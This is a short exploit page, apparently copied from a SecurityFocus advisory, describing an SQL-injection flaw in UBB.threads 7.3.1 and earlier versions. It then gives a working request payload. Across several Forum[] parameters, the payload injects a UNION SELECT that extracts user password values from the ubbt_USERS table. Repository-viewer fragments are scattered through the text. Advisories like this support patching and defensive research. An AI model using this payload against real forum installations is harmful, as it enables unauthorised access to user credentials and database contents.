17 lines
No EOL
653 B
Text
17 lines
No EOL
653 B
Text
source: https://www.securityfocus.com/bid/31074/info
|
|
|
|
UBB.threads is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
|
|
|
|
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
|
|
|
|
The issue affects UBB.threads 7.3.1 (released before September 2, 2008) and prior versions.
|
|
|
|
ubb=dosearch
|
|
&fromsearch=1
|
|
&Words=test
|
|
&Forum[]=f-99')) UNION SELECT '1
|
|
&Forum[]=f' %2b MID('' %2b USER_PASSWORD %2b '
|
|
&Forum[]=f1
|
|
&Forum[]=f1') %2b '
|
|
&Forum[]=f1
|
|
&Forum[]=f1' FROM ubbt_USERS/* |